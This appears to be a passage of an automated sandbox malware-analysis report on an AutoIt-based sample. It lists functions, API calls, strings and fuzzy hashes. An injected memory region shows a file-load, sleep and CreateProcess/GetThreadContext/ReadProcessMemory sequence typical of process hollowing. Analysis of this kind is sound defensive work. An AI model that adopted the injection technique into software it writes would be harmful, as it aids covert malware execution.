                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Timer$742846ClipboardCreateFormatKillMenuMessagePopupPostQuitRegister
                              • String ID: TaskbarCreated
                              • API String ID: 3785120505-2362178303
                              • Opcode ID: cce8c5a03ea04b09f31441a39b36d20ef7a6309a2ce36e618d98c5e601e7cd17
                              • Instruction ID: c871ea33cf18a3cc9178abcaf30b48d6b70312a550ef0fd47f6a389c1f0ea6f4
                              • Opcode Fuzzy Hash: cce8c5a03ea04b09f31441a39b36d20ef7a6309a2ce36e618d98c5e601e7cd17
                              • Instruction Fuzzy Hash: 1E417932B0420497DB28DB68EC85BBE3355E759320F10493FFA11AB6F1C67D9850879E
                              Function 004115D7 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 2046 4115d7-4115df 2047 4115ee-4115f9 call 4135bb 2046->2047 2050 4115e1-4115ec call 411988 2047->2050 2051 4115fb-4115fc 2047->2051 2050->2047 2054 4115fd-41160e 2050->2054 2055 411610-41163b call 417fc0 call 41130a 2054->2055 2056 41163c-411656 call 4180af call 418105 2054->2056 2055->2056
                              APIs
                              • _malloc.LIBCMT ref: 004115F1
                                • Part of subcall function 004135BB: __FF_MSGBANNER.LIBCMT ref: 004135D4
                                • Part of subcall function 004135BB: __NMSG_WRITE.LIBCMT ref: 004135DB
                                • Part of subcall function 004135BB: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,004115F6,?,00401BAC,?,?,?), ref: 00413600
                              • std::exception::exception.LIBCMT ref: 00411626
                              • std::exception::exception.LIBCMT ref: 00411640
                              • __CxxThrowException@8.LIBCMT ref: 00411651
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
                              • String ID: ,*H$4*H$@fI
                              • API String ID: 615853336-1459471987
                              • Opcode ID: 221d40d7984faa14442154e9f969528898a85ced6d82758f7c2d656e85d04d6d
                              • Instruction ID: 1677ae912bb9c86ef767233b76c14da205579da8f33ef274bedc9cd0e4e1b94c
                              • Opcode Fuzzy Hash: 221d40d7984faa14442154e9f969528898a85ced6d82758f7c2d656e85d04d6d
                              • Instruction Fuzzy Hash: C5F0F9716001196BCB24AB56DC01AEE7AA5AB40708F15002FF904951A1CBB98AC2875D
                              Function 04181620 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 2065 4181620-41816ce call 417f040 2068 41816d5-41816fb call 4182530 CreateFileW 2065->2068 2071 41816fd 2068->2071 2072 4181702-4181712 2068->2072 2073 418184d-4181851 2071->2073 2079 4181719-4181733 VirtualAlloc 2072->2079 2080 4181714 2072->2080 2075 4181893-4181896 2073->2075 2076 4181853-4181857 2073->2076 2081 4181899-41818a0 2075->2081 2077 4181859-418185c 2076->2077 2078 4181863-4181867 2076->2078 2077->2078 2082 4181869-4181873 2078->2082 2083 4181877-418187b 2078->2083 2084 418173a-4181751 ReadFile 2079->2084 2085 4181735 2079->2085 2080->2073 2086 41818a2-41818ad 2081->2086 2087 41818f5-418190a 2081->2087 2082->2083 2090 418188b 2083->2090 2091 418187d-4181887 2083->2091 2092 4181758-4181798 VirtualAlloc 2084->2092 2093 4181753 2084->2093 2085->2073 2094 41818af 2086->2094 2095 41818b1-41818bd 2086->2095 2088 418191a-4181922 2087->2088 2089 418190c-4181917 VirtualFree 2087->2089 2089->2088 2090->2075 2091->2090 2096 418179a 2092->2096 2097 418179f-41817ba call 4182780 2092->2097 2093->2073 2094->2087 2098 41818bf-41818cf 2095->2098 2099 41818d1-41818dd 2095->2099 2096->2073 2105 41817c5-41817cf 2097->2105 2100 41818f3 2098->2100 2101 41818ea-41818f0 2099->2101 2102 41818df-41818e8 2099->2102 2100->2081 2101->2100 2102->2100 2106 41817d1-4181800 call 4182780 2105->2106 2107 4181802-4181816 call 4182590 2105->2107 2106->2105 2113 4181818 2107->2113 2114 418181a-418181e 2107->2114 2113->2073 2115 418182a-418182e 2114->2115 2116 4181820-4181824 CloseHandle 2114->2116 2117 418183e-4181847 2115->2117 2118 4181830-418183b VirtualFree 2115->2118 2116->2115 2117->2068 2117->2073 2118->2117
                              APIs
                              • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 041816F1
                              • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 04181917
                              Memory Dump Source
                              • Source File: 00000000.00000002.1266299406.000000000417F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0417F000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_417f000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CreateFileFreeVirtual
                              • String ID:
                              • API String ID: 204039940-0
                              • Opcode ID: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
                              • Instruction ID: 89c45b74e5f19e5e8045fc1181132921e4341b4014004d9dcb4c746688a8f907
                              • Opcode Fuzzy Hash: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
                              • Instruction Fuzzy Hash: 26A11575E40208EBDB14DFA4C895BEEBBB5BF49304F20859DE501BB280D775AA81CF94
                              Function 0040E4C0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79registryCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 2119 40e4c0-40e4e5 call 403350 RegOpenKeyExW 2122 427190-4271ae RegQueryValueExW 2119->2122 2123 40e4eb-40e4f0 2119->2123 2124 4271b0-4271f5 call 4115d7 call 43652f RegQueryValueExW 2122->2124 2125 42721a-42722a RegCloseKey 2122->2125 2130 427210-427219 call 436508 2124->2130 2131 4271f7-42720e call 402160 2124->2131 2130->2125 2131->2130
                              APIs
                              • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,?,?,0040E4A1), ref: 0040E4DD
                              • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,0040E4A1,00000000,?,?,?,0040E4A1), ref: 004271A6
                              • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,0040E4A1,?,00000000,?,?,?,?,0040E4A1), ref: 004271ED
                              • RegCloseKey.ADVAPI32(?,?,?,?,0040E4A1), ref: 0042721E
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: QueryValue$CloseOpen
                              • String ID: Include$Software\AutoIt v3\AutoIt
                              • API String ID: 1586453840-614718249
                              • Opcode ID: 413bff81f872addaca3d9ad162024b649ce289641a3285436bc7eb0a5f7ce606
                              • Instruction ID: d6672e68ffeed78ba434be4ce119fa1e10800d5a5bf196f8e2f41644cb46c1f5
                              • Opcode Fuzzy Hash: 413bff81f872addaca3d9ad162024b649ce289641a3285436bc7eb0a5f7ce606
                              • Instruction Fuzzy Hash: CF21D871780204BBDB14EBF4ED46FAF737CEB54700F10055EB605E7281EAB5AA008768
                              Function 00410570 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 2136 410570-4105f1 CreateWindowExW * 2 ShowWindow * 2
                              APIs
                              • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 004105A5
                              • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 004105CE
                              • ShowWindow.USER32(?,00000000), ref: 004105E4
                              • ShowWindow.USER32(?,00000000), ref: 004105EE
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window$CreateShow
                              • String ID: AutoIt v3$edit
                              • API String ID: 1584632944-3779509399
                              • Opcode ID: b28a7d78b19f48c216133de275d8b0452446851dd496b073adb1022152ad6d67
                              • Instruction ID: 021b1916d714280a6beb379f8f8b29d81737bdb93309e58067b2166fb7f1837a
                              • Opcode Fuzzy Hash: b28a7d78b19f48c216133de275d8b0452446851dd496b073adb1022152ad6d67
                              • Instruction Fuzzy Hash: 29F01771BE43107BF6B0A764AC43F5A2698A758F65F31083BB700BB5D0E1E4B8408B9C
                              Function 041813F0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 143fileCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 2137 41813f0-4181518 call 417f040 call 41812e0 CreateFileW 2144 418151a 2137->2144 2145 418151f-418152f 2137->2145 2146 41815cf-41815d4 2144->2146 2148 4181531 2145->2148 2149 4181536-4181550 VirtualAlloc 2145->2149 2148->2146 2150 4181552 2149->2150 2151 4181554-418156b ReadFile 2149->2151 2150->2146 2152 418156d 2151->2152 2153 418156f-41815a9 call 4181320 call 41802e0 2151->2153 2152->2146 2158 41815ab-41815c0 call 4181370 2153->2158 2159 41815c5-41815cd ExitProcess 2153->2159 2158->2159 2159->2146
                              APIs
                                • Part of subcall function 041812E0: Sleep.KERNELBASE(000001F4), ref: 041812F1
                              • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0418150E
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1266299406.000000000417F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0417F000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_417f000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CreateFileSleep
                              • String ID: Q9X1ZVWRJMOL7
                              • API String ID: 2694422964-539988251
                              • Opcode ID: bbc32938017a569b4f2eaa6f3e1b931e30cd9cca5139b1164571373a739064b5
                              • Instruction ID: a78f52b0fdd00a8600044b839dba729df0d9f302d9dd97ff693f725da7fc4e08
                              • Opcode Fuzzy Hash: bbc32938017a569b4f2eaa6f3e1b931e30cd9cca5139b1164571373a739064b5
                              • Instruction Fuzzy Hash: A1517D31E04248EAEF11EBA4D854BEEBB79AF49300F004199E609BB2C0D7791B45CBA5
                              Function 00401B80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 91windowCOMMON
                              Download Yara Rule
                              APIs
                              • LoadStringW.USER32(?,00000065,?,0000007F), ref: 0042723B
                                • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                              • _wcsncpy.LIBCMT ref: 00401C41
                              • _wcscpy.LIBCMT ref: 00401C5D
                              • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401C6F
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: IconLoadNotifyShell_String_memmove_wcscpy_wcslen_wcsncpy
                              • String ID: Line:
                              • API String ID: 1874344091-1585850449
                              • Opcode ID: 71d679a4a9352c46b300ee00bac0ebd609a16659c7848ecadc14a4878baa23f7
                              • Instruction ID: 22c0e507134e40740d6fd31dbafdd21c3b8ff828be9a92102ab360472f74cad7
                              • Opcode Fuzzy Hash: 71d679a4a9352c46b300ee00bac0ebd609a16659c7848ecadc14a4878baa23f7
                              • Instruction Fuzzy Hash: EB31A1715083459BD320EB61DC45BDA77E8BF85318F04093EF588931E1E7B8AA49C75E
                              Function 0040F250 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegOpenKeyExW.KERNELBASE(00000004,Control Panel\Mouse,00000000,00000001,00000004,00000004), ref: 0040F267
                              • RegQueryValueExW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000002,00000000), ref: 0040F28E
                              • RegCloseKey.KERNELBASE(?), ref: 0040F2B5
                              • RegCloseKey.ADVAPI32(?), ref: 0040F2C9
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Close$OpenQueryValue
                              • String ID: Control Panel\Mouse
                              • API String ID: 1607946009-824357125
                              • Opcode ID: 0a2ddf5dd10fc63f6e19eedc2563a5e53f3783e3c799d68c1c3a3a1866560054
                              • Instruction ID: a31ac2e1b7deaa2d1d9e7506379341dce8fcd1dacbe24dc49005ae4a0027d3ba
                              • Opcode Fuzzy Hash: 0a2ddf5dd10fc63f6e19eedc2563a5e53f3783e3c799d68c1c3a3a1866560054
                              • Instruction Fuzzy Hash: 91118C76640108AFCB10CFA8ED459EFB7BCEF59300B1089AAF908C3210E6759A11DBA4
                              Function 004102B0 Relevance: 7.6, APIs: 5, Instructions: 87COMMON
                              Download Yara Rule
                              APIs
                              • SHGetMalloc.SHELL32(0040F54C), ref: 004102BD
                              • SHGetDesktopFolder.SHELL32(?,004A90E8), ref: 004102D2
                              • _wcsncpy.LIBCMT ref: 004102ED
                              • SHGetPathFromIDListW.SHELL32(?,?), ref: 00410327
                              • _wcsncpy.LIBCMT ref: 00410340
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcsncpy$DesktopFolderFromListMallocPath
                              • String ID:
                              • API String ID: 3170942423-0
                              • Opcode ID: bfe3e3032d26ed5990890659b1503a19068975a9e613434ef85ace480ecdfa96
                              • Instruction ID: 8627f7bfe00d67ecf541507c27de0d1a6b0c746b93627a891ac6cfe5d1469166
                              • Opcode Fuzzy Hash: bfe3e3032d26ed5990890659b1503a19068975a9e613434ef85ace480ecdfa96
                              • Instruction Fuzzy Hash: 4B219475A00619ABCB14DBA4DC84DEFB37DEF88700F108599F909D7210E674EE45DBA4
                              Function 041802E0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                              Download Yara Rule
                              APIs
                              • CreateProcessW.KERNELBASE(?,00000000), ref: 04180A9B
                              • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 04180B31
                              • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 04180B53
                              Memory Dump Source
                              • Source File: 00000000.00000002.1266299406.000000000417F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0417F000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_417f000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Process$ContextCreateMemoryReadThreadWow64
                              • String ID:
                              • API String ID: 2438371351-0
                              • Opcode ID: e15f4bf7b2d8a2436c426929ce02fd6b814221300437380313034c1dc15b3d9c
                              • Instruction ID: de0196c021d2715567b027eb0b718e1ad91835f41bace70bd6b29ce9faf8238a
                              • Opcode Fuzzy Hash: e15f4bf7b2d8a2436c426929ce02fd6b814221300437380313034c1dc15b3d9c
                              • Instruction Fuzzy Hash: DB62F930A14658DBEB24DFA4C890BDEB772EF58300F1091A9D10DEB290E775AE85CF59
                              Function 0040BD80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove
                              • String ID: Error:
                              • API String ID: 4104443479-232661952
                              • Opcode ID: 20a21836adb2195423de36251fb93945767d574b7418eb2d4267c7510a98c7d8
                              • Instruction ID: 2c658176ab693071ca67d4d31bd2fe4acf4d59654e7b744331f3a235cb1e2e29
                              • Opcode Fuzzy Hash: 20a21836adb2195423de36251fb93945767d574b7418eb2d4267c7510a98c7d8
                              • Instruction Fuzzy Hash: 0D3191716006059FC324DF29C881AA7B3E6EF84314B24853FE95AC7791EB79E941CBD8
                              Function 0040F520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52COMMON
                              Download Yara Rule
                              APIs
                              • 758ED0D0.COMDLG32(?), ref: 0042961B
                                • Part of subcall function 00410120: GetFullPathNameW.KERNEL32(00000000,00000104,004A7F6C,0040F545,004A7F6C,004A90E8,004A7F6C,?,0040F545), ref: 0041013C
                                • Part of subcall function 004102B0: SHGetMalloc.SHELL32(0040F54C), ref: 004102BD
                                • Part of subcall function 004102B0: SHGetDesktopFolder.SHELL32(?,004A90E8), ref: 004102D2
                                • Part of subcall function 004102B0: _wcsncpy.LIBCMT ref: 004102ED
                                • Part of subcall function 004102B0: SHGetPathFromIDListW.SHELL32(?,?), ref: 00410327
                                • Part of subcall function 004102B0: _wcsncpy.LIBCMT ref: 00410340
                                • Part of subcall function 00410190: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 004101AB
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Path$FullName_wcsncpy$DesktopFolderFromListMalloc
                              • String ID: X$pWH
                              • API String ID: 2653188779-941433119
                              • Opcode ID: 1b62eedeb2ba23f3a12794f4d72c3fd3ac9c0abd578206ca8986e50026ca9cbc
                              • Instruction ID: b6f0e4d7e30e2857a1e9cc165fafff24640ac0dd2e9829c062eaf90218724cbe
                              • Opcode Fuzzy Hash: 1b62eedeb2ba23f3a12794f4d72c3fd3ac9c0abd578206ca8986e50026ca9cbc
                              • Instruction Fuzzy Hash: 1F118AB0A00244ABDB11EFD9DC457DEBBF95F45304F14842AE504AB392D7FD08498BA9
                              Function 00401B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON
                              Download Yara Rule
                              APIs
                              • _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                              • _memmove.LIBCMT ref: 00401B57
                                • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
                                • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
                                • Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: std::exception::exception$Exception@8Throw_malloc_memmove_wcslen
                              • String ID: @EXITCODE
                              • API String ID: 2734553683-3436989551
                              • Opcode ID: b6d17f11840b334af4eb2c0dc4703dd6ec7fe6b5974f9b569570c14fa5f7c58b
                              • Instruction ID: 16ac7666fc6b8d0cd4c8082de1062d74cbdf630d8e5b0a9ec9a55ac2b86b5c72
                              • Opcode Fuzzy Hash: b6d17f11840b334af4eb2c0dc4703dd6ec7fe6b5974f9b569570c14fa5f7c58b
                              • Instruction Fuzzy Hash: D5F0CDF2B00641AFD720DB36DC02B6775E49B84308F04883EA24BC6795FA7DE4828B14
                              Function 00475077 Relevance: 4.9, APIs: 3, Instructions: 390COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 7af5e299b258df5e9c9a2551ed0e7af6e1d4c875de24c7fdf76d77545964eae0
                              • Instruction ID: 8c99b1ef877cebc7a747b8a97cc81d83a07aa3771b44d3adc2ea031a64448d8d
                              • Opcode Fuzzy Hash: 7af5e299b258df5e9c9a2551ed0e7af6e1d4c875de24c7fdf76d77545964eae0
                              • Instruction Fuzzy Hash: CEF18C716043019FC700DF29C884A5AB7E5FF88318F14C95EF9998B392D7B9E945CB86
                              Function 00414ABA Relevance: 4.7, APIs: 3, Instructions: 160COMMONLIBRARYCODE
